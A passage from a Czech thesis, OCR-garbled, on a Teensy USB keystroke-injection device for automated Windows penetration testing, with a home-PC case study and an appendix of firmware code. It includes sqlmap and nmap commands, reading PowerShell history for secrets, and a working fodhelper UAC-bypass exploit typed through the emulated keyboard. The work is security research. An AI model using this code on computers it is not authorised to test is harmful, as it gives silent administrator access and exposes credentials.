9.1.2 Vysledek

Pokud byla v pribéhu testu zobrazena chyba, iprava nastaveni se nezdarila.

9.2 GetHistoryFromTerminal

Pro penetra¢niho testera muze byt historie piikazi v terminalu zajimava. Stejné tak
jako pro tuto¢nika. Piikazem uvedenym na webové strance Stack Overflow (30| lze

zobrazit celou historii.

9.2.1 Prikaz

cat (Get-PSReadlineOption).HistorySavePath
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9.2.2 Vysledek

Timto piikazem tester dostane celou historii piikazti. Bude-li pfitomny jakykoliv pfikaz
odkryvajici jakékoliv zranitelné nastaveni aplikace (heslo, token, uprava nastaveni slu-
zeb, a tak dale), je to potencialné zneuzitelny problém. Historie by se méla pravidelné

mazat.
9.3 NmapLocalHost

Pro identifikaci moznych problémii je pro penetra¢niho testera dilezité znat svij cil
testovani co nejlépe. Na pocitaci miize bézet mnoho sluzeb, které navic mohou komuni-
kovat skrz sit. Pro tuto praci se hodi program NMAP, ktery provadi skenovani systému

a sluzeb. Vice o tomto nastroji je v podkapitole 2.1.

9.3.1 Prikaz

Test vyuziva néastroj preneseny z pamétové karty.

testfiles\tools\nmap-7.92\nmap.exe 127.0.0.1 -p- -sS -A

9.3.2 Vysledek

Timto testem je z pocitace ziskdna informace o verzi opera¢niho systému a verze sluzeb.

9.4 SqlmapCrawl

Bézné i pro klasické programy na pocitacich bézi databaze. Casto se s nimi muzeme
setkat v podnikovych pocitac¢ich, naptiklad pro ruzné tcetni programy. S pfibyvajicim
trendem cloudovych feSeni je ale do ticetnich ¢i jinych programt zapotiebi jen prohlizec
nebo jednoduchy klient s webovou nadstavbou. Jedno maji tyto provedeni spole¢né,
a to komunikaci se serverem. Staci, aby na pocitaci bézel server poskytujici webovou
stranku a je mozné zkouSet ptipojeni do databaze skrz zranitelnosti. Na to je mozné

pouzit program SQLmap popsany v podkapitole 2.2.
9.4.1 Prikaz

Test vyuziva néastroj preneseny z pamétové karty a pirenositelnou verzi Pythonu.

testfiles\tools\winpython\python-3.10.2\python.exe
testfiles\tools\sqlmap\sqlmap.py -u http://localhost/ -crawl=1
--batch
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9.4.2 Vysledek

Po provedeni tohoto piikazu je mozné vidét, zda-li existuji zranitelnosti aplikaci na

lok&lnim serveru.
9.5 SqlmapDatabaseEnumeration

Pracuje podobné jako predchozi test se stejnym nastrojem SQLmap. V momenté, kdy
se tester dostane k databdazi, uz nic nebrani provadét jakékoliv piikazy. Tohle je dalsi

piiklad z modifikaci.

9.5.1 Prikaz

testfiles\tools\winpython\python-3.10.2\python.exe
testfiles\tools\sqlmap\sqlmap.py -u http://127.0.0.1 -dbs -v 3
--batch

9.5.2 Vysledek

Seznam databézi dostupnych na testovaném pocitaci. Pro tto¢nika miize byt zajimava

napiiklad databaze uzivatelu, partneri spole¢nosti nebo tcetnictvi.
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10 Provedeni testu na realném pocditaci

Pro piiklad byla vybrana metodika PTES (viz 1.3.2). V kazdém testu je ¢islem oznacena

faze a rozpis krokii. Pro lepsi orientaci jsou kroky metodiky vypsény znovu zde:

1

10.1

faze interakce pied zacatkem
shromazd ovani informaci
modelovani zranitelnosti
analyza zranitelnosti

faze zneuziti

faze po zneuziti

reportovani

Domaci pocitac

Jedna se o domaci pocitac¢, na kterém byl provadén vyvoj zarizeni. Nésleduje plan, co

se bude béhem aplikovani metodiky délat.

10.2 Priprava testu

1.

V této fazi je nutné vytycit, o jaky druh testovani jde a co je jeho cilem. Cil je

v tomto piipadé odhalit zranitelné a zapomenuté aplikace.

Pro tento pripad testovani vime, Ze je poc¢itac¢ vyuzivan jako stanice pro progra-
movéani. Bézi na ném mnoho sluzeb a kontejnert clusteru. V této fazi zafizeni pro

automatizované penetracni testovani spustime a nechame provést sbér informaci.

V tento moment jiz budeme mit informace o pocitaci. Verze aplikaci, verze sys-
tému a dalsi informace z pouzivani pocitace. Ted muZzeme odhadnout, co se muze

vSechno stat. Napiiklad zneuziti zabezpeceni aplikace.

Své odhady si ovéfime naptiklad kontrolou u pouzivanych aplikaci. Bézné je u no-
vych verzi i informace o aktualizaci zabezpeceni. V idedlnim pripadé je mozné

konkrétni zménu zabezpeceni dohledat.

Pokud jsou dostupné informace jak zneuziti provést, provede se test, jestli je tato

zranitelnost platna. OvSem ne tak, aby byl systém jakkoliv poskozen.

Aktualizace, je-li aplikace nebo systém mozné aktualizovat. Pokud se na pocitaci

naléza cokoliv, co se jiz nepouziva, tak také odinstalace ¢i smazani.
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7. Zapis provedeného testu do reportu s datumem testu a provedenymi kroky.

10.3 Priubéh sbéru informaci

Prubéh pouziti zafizeni k testu je na videozaznamu v piiloze na CD (IIT). Zaznam je
upraveny a zkraceny pro ucely prezentace. Celkova doba trvani byla 8 minut. Vysledky

byly uloZeny na Micro SD kartu.

10.4 Vysledky sbéru informaci

Po pouziti zafizeni p¥ibyl na Micro SD novy archiv. Vidét je na obrazku 10.1. Po
rozbaleni jsou na obrazku 10.2 vidét slozky jednotlivych béhia testi. Obrézek 10.3
ukazuje ¢ast zjisténych informaci po béhu programu nmap. Jsou vidét oteviené porty
5432 a 5433, které nalezi databazovému serveru PostgreSQL. Dalsi zjisténi probéhlo

u historie terminalu (obréazek 10.4), protoze je zde vidét token pro komunikaci s platebni

branou.

« | & 1 = |ESD-USB(H) Extrahovat - o X
Domii Sdileni Zobrazeni Nastroje komprimované slozky 0
E Tm B Nejvetiiikony &) Velké ikony ] = [J Zaskrtévaci policka polozek .
< Stiedni ikony =i Malé ikony - Y i~ Piipony nézvdl soubord Wi
Navigaéni = N Radit Skryt vybrané  MoZnosti

podc\ino' fFE Seznam == Podrobnosti podle~ Tl Skryté polozky r;-gl\;yiky .
Podokna RozloZeni Aktudlni zobraz... Zobrazit &i skryt
T o > ESD-USB(H) v O £ Prohledat: ESD-USB (H:)
v
Nézev Datum zmény Typ Velikost
i tools.zip 26.04.2022 22:24 Komprimovana sl... 64612 kB
i tests.zip 17.05.2022 1540 Komprimovana sl... 3kB
|| mtpindex.dat Soubor DAT 0 kB
i 20220517T1 706512797 zip 17.05.2022 15:41 Komprimovana sl... 24 kB
B 20220517T1645077253.7ip 17.05.2022 15:41 Komprimované sl... 24 kB
i 20220517T1 538171490.zip 2022 15:37 Komprimované sl... 22 kB
i\ 20220517T1435098850.zip 26.04.2022 22:23 Komprimované sl. 22 kB
i\ 20220429T2013272653.zip 2 2022 22:23 Komprimovana sl... 21kB
i 2022042971824104142 zip 26.04.2022 22:22 Komprimovana sl... 21kB
Pocet polozek: 9 Pocet vybranych polozek: 1; 23,9 kB =

Obr. 10.1 Obsah Micro SD karty po testu

10.5 Modelovani zranitelnosti

Testy odhalily potencialni zneuziti databaze a uctu pro platebni branu. Pii poskozeni

databazi hrozi ovlivnéni béhu aplikaci nebo tnik dat.
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[~ = -
~ = |20220517T1706512797 - O X

Doma Sdileni’ Zobrazeni 0
[Er B -
Presunout do ~ v Odstranit ~ = v Hﬂ
= n- M
Pripnout k Kopirovat VloZit Koplrovat.do' ™ EfimE At Nova Vlastnosti Vybrat
Rychlému pfistupu = : slozka < @ <
Schranka Uspofadat Novy Otevfit
T™ » ESD-USB (H:) » 20220517T1706512797 v D £ Prohledat: 20220517T17065...
~
Nézev Datum zmény Typ Velikost
DisableDefenderMonitoring 18.05.2022 12:16 Slozka soubort
GetHistoryFromTerminal 022 12:16 Slozka soubort
NmapLocalHost 12:16 Slozka soubort
SqlmapCrawl 18.05.2022 12:16 Slozka soubort
SqlmapDatabaseEnumeration 18.05.2022 12:16 Slozka soubort
< >
Pocet polozek: 5 =

Obr. 10.2 Obsah vysledného archivu

_‘\ testoutput.tet — Pozndmkovy blok _ O X

Soubor Upravy Format Zobrazeni Napovéda

|_ RProcessStartupPacket ~
5040/tcp open unknown

5357/tcp open http Microsoft HTTPAPI httpd 2.8 (SSDP/UPnP)

| _http-server-header: Microsoft-HTTPAPI/2.0

|_http-title: Service Unavailable

5432/tcp open postgresql PostgreSQL DB 9.6.0 or later

5433/tcp open postgresql PostgreSQL DB 9.6.8 or later

7680/tcp open pando-pub?

10243/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

| _http-server-header: Microsoft-HTTPAPI/2.@

|_http-title: Not Found

10533/tcp open unknown

| fingerprint-strings:

| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, Kerberos, LDAPBindReq, LDAPSearchReq, LPDString

HTTP/1.1 400 Bad Request v

| HTTP/11 400 Bed.
< >
Rédek 1, Sloupec 1 100 %  Windows (CRLF) UTF-16 LE

Obr. 10.3 Cast obsahu vysledku testu NmapLocalHost

10.6 Analyza zranitelnosti

Aplikace PostgreSQL je dle vysledku testu pravdépodobné verze 9.6. Na webové strance
https://www.cvedetails.com/cve/CVE-2017-12172/ je dostupna zranitelnost,

konkrétné kompromitace systému bez nutné autentizace. Po provedeni piikazu

SELECT version() ;

byla zjisténa verze 9.6.4. Instalace PostgreSQL je tedy zranitelna.

Ucet platebni brany je jiz nefunkéni a nehrozi jeho zneuZiti.

2

10.7 Faze zneuziti a po zneuziti

Kv1li riziku poskozeni databaze nebylo provedeno zneuziti. Misto toho byla provedena
zéloha databézi a provedena aktualizace na verzi 14.3. Zaroven bylo na firewallu ope-

ra¢niho systému nastaveno pravidlo pro uzavieni portu 5432 a 5433 v pocitacové siti.


https://www.cvedetails.com/cve/CVE-2017-12172/
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_ | testoutput.txt — Pozndmkovy blok

Soubor Upravy Format Zobrazeni Napovéda

go get

go get golang.org/x/oauth2/google

go get google.golang.org/api/oauth2/v2

curl

curl -v -N https://gw.sandbox.gopay.com/api/oauth2/token \
-X "POST" \

-H "Accept: application/json" \

-H "Content-Type: application/x-www-form-urlencoded” \

-u "<ClientID»>:<ClientSecret>" \

curl -v -N https://gw.sandbox.gopay.com/api/oauth2/token \
-X "POST" \

-H "Accept: application/json" \

-H "Content-Type: application/x-www-form-urlencoded” \

choco install curl
cd /git
1s

<
Radek 1, Sloupec 1 100 %  Windows (CRLF)

Obr. 10.4 Cast obsahu vysledku testu GetHistoryFromTerminal

10.8 Report

Test probéhl dne 17.5.2022. Byla spusténa standardni sada testi pro sbér informaci

o pocitaci. Analyzou bylo zjisténo, ze aplikace PostgreSQL nebyla dlouhou dobu aktu-

alizovana a je dostupnda v pocitacové siti pies oteviené porty. Pro starou verzi aplikace

(9.6.4) existuji zranitelnosti, takze PostgreSQL bylo aktualizovano na nejnovéjsi verzi

(14.3). Déle byl v historii terminalu nalezen token pro autentizaci a autorizaci platebni

brany. Tento token jiz neni funkéni a nehrozi jeho zneuziti.

Jiné zranitelnosti nebyly nalezeny. Poc¢itac byl ke dni 17.5.2022 zabezpecen.
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11 Jiné moZnosti pouziti a vlastnosti

Zafizeni je zkonstruovano jako univerzalni, takze ho je mozné s drobnymi dpravami

vyuzit i k jinym tacelim, nez bylo ptuvodné zamysleno.
11.1 Automatizovany audit

V podnikovém prostiedi se bezné nachazi velké mnozstvi pocitaci. Kdyz neni mozné
pocitace kontrolovat automatizované a na déalku, ptichazi na fadu ru¢ni kontrola. Tento
proces se da ovSem také automatizovat. Misto testovacich skripti je mozné pridat
piikazy pro sbér informaci o veskerém softwarovém a hardwarovém vybaveni, véetné
poc¢tu vyuzitych licenci pro podnikové programy. Zaroven se tim zachova jednotny

forméat pro cely audit a zvysi rychlost.

11.2 Udrzba techniky

Pro spravce podnikové infrastruktury je béznou zalezitosti ru¢ni konfigurace a sprava

pocitaci. To je samo o sobé bez nadsazky ¢as pohlcujici prace. Se zarizenim umoznujici

2 ~

témér libovolné ovladani cilového pocitace je idrzba daleko jednodussi. Umoziuje totiz

automatizované provést konfigurace novych i pouzitych podcitaci:
e registrace pocitace do domény
e instalace zakladnich uzivatelskych programi
e konfigurace programii a registrace licenci
e instalace certifikatu
e zalohovani
e CiSténi
11.3 Zajisténi digitalnich stop

S vhodnou modifikaci je mozné z pocitace ziskat digitadlni stopy uzivatele pro dalsi
forenzni analyzu. Napftiklad tak, Ze hlavnim tcelem zafizeni nebude spousténi testi,

ale sbér velkého mnozstvi dat. Mezi stopy je mozné zaradit:
e data webového prohlizece
e adresar TEMP
e adresai AppData

e piipadné rovnou cely adresai uzivatelského profilu
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11.4 Porovnani s Rubber Ducky

Podobnost s Rubber Ducky neni nidhodou, je z ¢asti inspiraci této prace. Popis je
v podkapitole 4.4. Vytvorené zafizeni mé& vSak v porovnani s Rubber Ducky hned
nékolik vyhod:

e Prvni vyhodou je displej zobrazujici uzite¢né informace o pravé provadénych ope-
racich. To je uzite¢né napiiklad pfii inicializaci, protoze se obé zafizen{ na Gplném
zacatku spoléhaji na spolupraci pocitace. To stejné plati i na konci testovani,

protoze je konec ozndmen hlaskou na displeji.

e Dalsi vyhodou je rychlejsi pfenos diky pripojenému pamétovému zafizeni pres
protokol MTP. Rubber Ducky totiz veskery obsah musi vlozit pres simulovanou

klavesnici, neni tedy vhodné pro prenos velkych néstroju.

e Diky vyuziti mikropocitace Teensy je dalsi vyhodou jeho univerzalnost. Zafizeni

se da pouzit témér na cokoliv a je lehce upravitelné.

e Jelikoz je pii testovani dostupné pamétové zafizeni, vysledky testil je mozné na-
hrat na Micro SD kartu. Penetrac¢ni tester tak nemusi vysledky hledat a prenaset

z testovaného pocitace.

Mezi nevyhody vytvofeného zafizeni je mozné zaradit nutnost vyuziti sériového
spojeni pro zpétnou vazbu a p¥ipojené pamétové zarizeni pres protokol MTP. Nékteré

podniky mohout mit totiz zakdzano piipojovani externich pamétovych zafizeni.
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ZAVER

Cilem préce bylo vytvofit zatizeni slouzici k automatizaci penetracich testii. Na zéklade
popsané problematiky v teoretické ¢asti toto zafizeni vzniklo a je funkéni. Dokéaze auto-
matizované provést penetracni testy dostupné na pamétové karté v zafizeni. Vyuzitelné
je na pocitacich s opera¢nim systémem Windows 10. Pribéh testovani je viditelny na
malém OLED displeji a vysledky testi jsou uloZzeny na pamétovou kartu vedle testii do
prehledné adresarové struktury. Pro ovladani pocitace je vyuZito principu simulované
klavesnice, a to umoziuje penetra¢nimu testerovi automatizovat svoji praci.

P1i vyvoji bylo vyuzito mikropocitace Teensy. Ten mé vyhodu proti Arduino v po-
¢tu moznych simulovanych rozhrani pro USB. Toho je vyuzito pro simulaci klavesnice,
sériového a pamétového zafizeni najednou. Pfi praci se zafizeni celou dobu nespoléhé
jen na casovy odhad, Ze jiz ptikaz na strané pocitace probéhl, ale pocita se synchroni-
zacnimi signéaly o dokoncené sérii prikazi. Tim se zvySuje stabilita. Nékteré sady testi
mohou vyzadovat privilegovany piistup k nékterym sluzbam a zafizenim v pocitaci.
Aby mohly piikazy v testech ovladat pocita¢ bez nutné autentizace, je vyuzito zrani-
telnosti operac¢niho systému, ktera je jiz dlouhou dobu pfitomna. Staci tedy zafizeni
do prihlaSeného pocitace vlozit a zafizeni si samo zajisti administratorski prava.

Zatizeni je lehce pienositelné a da se nosit v kapse. Velikosti odpovida USB modemu
nebo vétsimu flash disku. Pripojit se da do bézné dostupného USB portu typu A. Béhem
vzniku zafizeni byla ru¢né vyrobena redukce z mikropocitace az k portu.

Mozné pokracovani prace je v rozvoji univerzalnosti. Jiz nyni je zafizeni schopné
spustit na cilovém pocitaci témeér cokoliv. Momentalné vsak komunikace probihé tiemi
zpusoby zaroven. Mize se stat, ze politika organizace, kde bude toto zafizeni pouzito,
mé nastaveny zakaz pripojeni pamétovych zarizeni. Tohle omezeni plati v pfipadé, po-
kud se penetracni testovani provadi na realné pouzivanych pocitacich a ne v oddélené
siti s klony. Zafizeni by mohlo komunikovat jen a pouze pies protokol HID. Sice by
zatizeni zpétné nedostalo vysledky testi, tester by je vS8ak mohl analyzovat na testova-
ném pocitaci. Testy a nastroje pro testovani by mohly byt prenaseny thozy simulované
klavesnice misto kopirovani z pamétového tlozisté a na misté sestaveny zpatky do své
bin4rni podoby. Zpétna vazba pro synchronizaci by mohla probihat pres simulaci stisk-
nuti klaves Num Lock, Caps Lock nebo Scroll Lock. Tohle feSeni by sice bylo fadove
pomalejsi, dokazalo by ale v nékterych piipadech proniknout do systémi s vysokou

urovni zabezpeceni a provadét penetracni testy i timto zplisobem.
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User Account Control

Universal Serial Bus
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PRILOHA P I. FUNKCE PRO MIKROKONTROLER

/* setupLoop that can run in loop()

* E.g. MTP requires calling mtpd.loop(); to function properly
I Starts tests in the end

* Params: ) ) )

* 1int setupPhase: Indicates function id to call.

* Return:

*/ int: Incremented value for next call.

*

int setupLoop(int setupPhase) {

switch(setupPhase){
case 0: createTempFolderOnTestedMachine(); break;
case 1: waitForAccessibleMTPFolder(); break;
case 2: copyRequiredFilesForTests(); break;
case 3: extractTestFiles(); break;
default: i

setupIsActive = false;
. startTests() ;

return ++setupPhase;

/*_ executeCommandInPowerShell decorates command to execute

* by serial sync signal.

* Used for setupLoop

* Params: .

*  String command: Command to wrap and type over simulated keyboard.
* Return:

* void

*/

void executeCommandInPowerShell(String command) {
Keyboard.println(command + "$connection.Write(’s’);");
displayPrint ("Waiting");

/* updateRunningTest shows on display information about running tests.

* Params: .
* int testNumber: Number of currently running test.

* Return:
*  void
*/

void updateRunningTest(int testNumber) {
display.clearDisplay();
display.setCursor(1,0);
display.setTextSize(2);
display.println("Test " + String(testNumber));
display.setCursor(1,24);
display.setTextSize(1);
display.println("Executing...");
display.display();
delay(1500) ;




/* startPowerShell using simulated keyboard starts PowerShell.
* Uses shortcut Wint+R to open "Run" box.

* Params:
* void
* Return:
*  void
*/

void startPowerShell() {
displayPrint ("Start PowerShell");
Keyboard.press (MODIFIERKEY_GUI); // Win key
Keyboard.press(KEY_R) ;
Keyboard.release(KEY_R) ;
Keyboard.release (MODIFIERKEY_GUI);
delay (2000) ;
Keyboard.println(F("powershell"));
delay(2000) ;

/* checkInsertedSDCard waits for SD card to be inserted.
* Params:
*  void
* Return:
* void
*/
void checkInsertedSDCard() {
while (!SD.begin(BUILTIN_SDCARD)) {

displayPrint ("Insert SD card -->");
delay (250) ;

displayPrint ("SD card initialized");

/* displayPrint shows input text on OLED display.

* Params: . i
* String input: text to be printed on display.

* Return:
* void
*/

void displayPrint(String input) {
// Settings
display.clearDisplay();
display.setTextSize(1);
display.setTextColor (WHITE) ;

// Roll up
linel = line2;
line2 = linegd;
line3 = line4;
line4 = input;
// Print

display.setCursor(1,0);
display.println(linel);
display.setCursor(1,8);
display.println(line2);
display.setCursor(1,16);
display.println(line3);
display.setCursor(1,24);
display.println(line4);




display.display();

/* printWelcomeMessage

* Params:

* void

* Return:

* void
*/

void printWelcomeMessage() {
display.setTextSize(2);
display.setTextColor (WHITE) ;
display.setCursor(10,0);
display.clearDisplay();
display.println("APTD 1.0");
display.setCursor(1,16);
display.setTextSize(1);
display.println("Automated PenetrationTest Device");
display.display();
delay(1500);

/* printFinished final message on display.

* Paramg: .

* int finishedTestsTotal

* Return:

* void

*/

void printFinished(int finishedTestsTotal) {
display.setTextSize(2);
display.setCursor(1,0);
display.clearDisplay();
display.println("FINISHED");
display.setCursor(1,16);
display.setTextSize(1);
display.println("Tests run: " + String(finishedTestsTotal));
display.setCursor(1,24);
display.println("Safe to remove");
display.display();
delay(1500);
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// Start serial communication and wait...
displayPrint ("Start Serial COM");
Keyboard.println(
"$serial=gwmi Win32_serialport
| Where-Object PNPDevicelId -Match \"~USB\\\\VID_16CO&PID_O47A.x*\"
| Select Deviceld;"
"$connection=New-Object System.IO.Ports.SerialPort
$serial .Deviceld, 115200, None,8,o0ne;"
"$connection.Open() ;"
"$connection.Write(’s?) ;"
;echo $connection.ReadLine() ;"
displayPrint ("Waiting for response");
char ch=Serial.read();
ghile(ch)

if(ch==’g’)
break;
ch=Serial.read();

displayPrint ("Communication 0K");
Serial.println("Communication OK");

/* executeCommandInPowerShell decorates command

* to execute by serial sync signal.

* Used for setupLoop

* Params: .

* String command: Command to wrap and type over simulated keyboard.
* Return:

* void

*/

void executeCommandInPowerShell(String command) {
Keyboard.println(command + "$connection.Write(’s’);");
displayPrint ("Waiting") ;

/* zipResultsAndCopyToSDCard creates new archive with all results of
* tests.
* Params:
* _void
* Return:
* void
*/
void zipResultsAndCopyToSDCard() {
Keyboard.println(
"$testResultFileName = (Get-Date -Format FileDateTime)+\".zip\";"
"Compress-Archive -Path testresults\\*
-DestinationPath $testResultFileName;"
"$testResults = @($workFolderShell.self.GetFolder().Items()
| where { $_.Name -match $testResultFileName });"
"($sdio.GetFolder () .CopyHere ($testResults[0])

| Out-null) -and ($connection.Write(’c’));"
)




/* cleanUp clears after while testing session.
* Signals to this device, that session is over.
* Params:
* void
* Return:
*  void
*/
void cleanUp() {
Keyboard.println(
"Remove-Item \"HKCU:\\Software\\Classes\\ms-settings\"
-Recurse -Force;"
"ed .. ;u
"rm -Force -Recurse $workFolder;"
"$connection.Write(’e?) ;"

)

/* startTests Triggers running of tests.

This is a control script send to tested computer.
It starts each test and result is piped to file.
In the end signal of finish is send.

Params:

void

Return:

void )

PowerShell variables needed:
$workFolder

$testsDir

$connection

KON X K KX KX X ¥ X
~

void startTests() {
displayPrint ("Start testing");
Keyboard.println(
"cd $workFolder;"
"mkdir testresults;"
"$testFilesDir = Get-ChildItem -Path testfiles -Directory;"
"$testsDir = Get-ChildItem -Path testfiles\\tests -Directory;'
"foreach($testDir in $testsDir) { $connection.Write(’n’) ;"
"$testResultDir = Join-Path testresults $testDir.Name;"
"mkdir $testResultDir;"
"powershell -ExecutionPolicy Bypass
testfiles\\tests\\$testDir\\test.psl
| Out-File $testResultDir\\testoutput.txt;"

"$connection.Write(’f’) ;"

*
4 PowerShell variables needed to run
* $workFolder
* /
void copyRequiredFilesForTests() {
displayPrint ("Copy test files");
executeCommandInPowerShell (
"$shell = new-object -com Shell.Application;"
"$mycomputer = $shell.NameSpace(17) .self;"
"$teensy = Q($mycomputer.GetFolder.Items ()
| where { $_.Name -match \"APTD\" });"
"$sdio = @($teensy.GetFolder.Items()
| where { $_.Name -match \"sdio\" });"




"$workFolderShell = $shell.NameSpace($workFolder) ;"
"$testsZIP = @($sdio.GetFolder.Items()

| where { $_.Name -match \"tests.zip\" });"
"$workFolderShell.CopyHere ($testsZIP.Item(0)) ;"
"$toolsZIP = @($sdio.GetFolder.Items()

| where { $_.Name -match \"tools.zip\" });"
"$workFolderShell.CopyHere ($t001sZIP.Item(0)) ;"

/* extractTestFiles extracts tests and tools.
* Params:

* void

* Return:

*  void .

* PowerShell variables needed:

* $workFolder

%

void extractTestFiles() {
displayPrint ("Extract test files");

executeCommandInPowerShell (
"Expand-Archive -LiteralPath $workFolder\\tests.zip
-DestinationPath $workFolder\\testfiles;"
"Expand-Archive -LiteralPath $workFolder\\tools.zip
) -DestinationPath $workFolder\\testfiles;"

/* startPriviledgedPowerShellThroughExploit opens new PowerShell
with Administrator session.

* Uses exploit in fodhelper.
Params:

void

Return:

void

Sets PowerShell methods:
FodhelperBypass [String]

FodStart

KX K KX K XX
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void startPriviledgedPowerShellThroughExploit() {
displayPrint ("UAC Exploit: 5s wait");
Keyboard.println(
"New-Item \"HKCU:\\Software\\Classes\\ms-settings\\Shell\\
Open\\command\"
-Force;"
"New-ItemProperty -Path \"HKCU:\\Software\\Classes\\
ms-settings\\Shell\\0Open\\command\"
-Name \"DelegateExecute\"
-Value \"\'" -Force;"
"Set-ItemProperty -Path \"HKCU:\\Software\\Classes\\
ms-settings\\Shell\\Open\\command\"
-Name \"(default)\"
-Value \"cmd /c start powershell.exe\" -Force;"

"Start-Process \"C:\\Windows\\System32\\fodhelper.exe\";");




/* createTempFolderOnTestedMachine

Params:
void
Return:

void )

Sets PowerShell variables:
$tempPath

$tempFolderName
$workFolder

0id createTempFolderOnTestedMachine ()

Aa g ¥ K K K KK KKK
~

displayPrint ("Create temp folder");
executeCommandInPowerShell (
"$tempPath = [System.IO.Path]::GetTempPath();"
"[string] $tempFolderName = [System.Guid]::NewGuid() ;"
"$workFolder = Join-Path $tempPath $tempFolderName;"
"New-Item -ItemType Directory -Path $workFolder;"

/* waitForAccessibleMTPFolder

* Params:

*  void

* Return:

* void

*/

void waitForAccessibleMTPFolder () {
displayPrint("Wait for MTP folder");
executeCommandInPowerShell (

"while ((((new-object -com Shell.Application).NameSpace(17) .self)
.GetFolder.Items()

| where { $_.Name -match \"APTD\" }) -eq $null)

echo \"Waiting for APTD to be ready as MTP device\";
Start-Sleep -Seconds 1
};ll
)
}
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Médium obsahuje tuto praci a jeji zdrojové kody v I¥XTEXu. Dale podptrné knihovny pro
Teensy, z nichz jsou nékteré upravené. Soucasti jsou testy a nastroje pro automatizované
penetracni testy. Jak zafizeni pracuje je zaznamenano na prilozeném videu ve dvou

formatech. Video je mozné spustit i pies webovy odkaz: https://youtu.be/2p-xLm
OELk4.

Na dalsich strankach je vyobrazena adresafova struktura dostupna na CD. Je rozdélené

na adresafe video, thesis a project.

Lvideo/
tvideo.m4v
video.mov

Lthesis/

— graphic/
L ...

— tex/

— text.tex (hlavni soubor s textem)
— UTB.tex (upravend Sablona)
— prilohy.tex

— zkratky.tex

. . o

+— prace.pdf

. prace.tex


https://youtu.be/2p-xLmOELk4
https://youtu.be/2p-xLmOELk4

Lproject/
— config/

Lusb_desc.h (konfigurace zarizeni)

— library/
+— MTP.cpp

— MTP.h

+— Storage.cpp

+— Storage.h

— testfiles/
— tests/

— DisableDefenderMonitoring/test.psl
— GetHistoryFromTerminal/test.ps1
— NmapLocalHost/test.psl

— SqlmapCrawl/test.psl

+— SqlmapDatabaseEnumeration/test.psl

— tools/

— nmap-7.92/
tnmap.exe
— sqlmap/
tsqlmap.py

— winpython/

python-3.10.2/
L—python.exe

+— tests.zip

«— tools.zip

— project.ino (hlavni zdrojovy kod)
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